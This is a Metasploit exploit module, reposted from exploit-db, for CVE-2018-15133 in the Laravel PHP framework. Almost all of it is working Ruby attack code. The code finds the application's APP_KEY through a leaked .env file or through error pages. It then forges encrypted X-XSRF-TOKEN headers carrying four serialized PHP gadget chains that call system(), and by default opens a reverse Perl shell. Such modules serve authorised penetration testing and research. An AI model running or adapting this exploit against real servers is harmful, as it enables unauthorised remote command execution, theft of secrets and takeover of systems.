PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-07-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47129/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
    'Description' => %q{
    This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
    Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
    an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
    Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
    Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
    In some cases the APP_KEY is leaked which allows for discovery and exploitation.
    },
    'DisclosureDate' => '2018-08-07',
    'Author' =>
    [
    'Ståle Pettersen',# Discovery
    'aushack',# msf exploit + other leak
    ],
    'References' =>
    [
    ['CVE', '2018-15133'],
    ['CVE', '2017-16894'],
    ['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
    ['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
    ['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
    ],
    'License' => MSF_LICENSE,
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'DefaultTarget' => 0,
    'Stance' => Msf::Exploit::Stance::Aggressive,
    'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
    'Payload' => { 'DisableNops' => true },
    'Targets' => [[ 'Automatic', {} ]],
    ))
    
    register_options([
    OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
    OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
    ])
    end
    
    def check
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'GET'
    })
    
    # Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
    unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
    return CheckCode::Unknown
    end
    
    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
    vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
    return CheckCode::Detected
    end
    
    random_string = Rex::Text.rand_text_alphanumeric(12)
    
    1.upto(4) do |method|
    vuln = generate_token("echo #{random_string}", auth_token, method)
    
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'POST',
    'headers' => {
    'X-XSRF-TOKEN' => "#{vuln}",
    }
    })
    
    if res.body.include?(random_string)
    return CheckCode::Vulnerable
    # Not conclusive but witnessed in the wild
    elsif res.body.include?('Method Not Allowed')
    return CheckCode::Safe
    end
    end
    CheckCode::Detected
    rescue Rex::ConnectionError
    CheckCode::Unknown
    end
    
    def env_leak
    key = ''
    vprint_status 'Checking for CVE-2017-16894 .env information leak'
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, '.env'),
    'method' => 'GET'
    })
    
    # Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
    return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
    key = $1
    
    if key
    vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
    return key
    end
    
    vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'
    key
    end
    
    def framework_leak(decrypt_ex = true)
    key = ''
    if decrypt_ex
    # Possible config error / 0day found by aushack during pentest
    # Seen in the wild with recent releases
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'POST',
    'headers' => {
    'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
    }
    })
    
    return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
    else
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'POST'
    })
    
    return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
    end
    # Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?
    
    # Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
    if res.body =~ /\>base64:(.*)\<\/span\>/
    key = $1
    vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
    end
    
    key
    end
    
    def check_appkey
    key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
    return key unless key.empty?
    
    vprint_status 'APP_KEY not set. Will try to find it...'
    key = env_leak
    key = framework_leak if key.empty?
    key = framework_leak(false) if key.empty?
    key.empty? ? false : key
    end
    
    def test_appkey(value)
    value = Rex::Text.decode_base64(value)
    return true if value && value.length.to_i == 32
    
    false
    end
    
    def generate_token(cmd, key, method)
    # Ported phpggc Laravel RCE php objects :)
    case method
    when 1
    payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
    when 2
    payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
    when 3
    payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
    when 4
    payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
    end
    
    cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested
    cipher.encrypt
    cipher.key = Rex::Text.decode_base64(key)
    iv = cipher.random_iv
    
    value = cipher.update(payload_decoded) + cipher.final
    pload = Rex::Text.encode_base64(value)
    iv = Rex::Text.encode_base64(iv)
    mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)
    iv = iv.gsub('/', '\\/') # Escape slash
    pload = pload.gsub('/', '\\/') # Escape slash
    json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
    json_out = Rex::Text.encode_base64(json_value)
    
    json_out
    end
    
    def exploit
    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
    vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
    return
    end
    
    1.upto(4) do |method|
    sploit = generate_token(payload.encoded, auth_token, method)
    
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'POST',
    'headers' => {
    'X-XSRF-TOKEN' => sploit,
    }
    }, 5)
    
    # Stop when one of the deserialization attacks works
    break if session_created?
    
    if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive
    print_status 'Target appears to be patched or otherwise immune'
    end
    end
    end
    end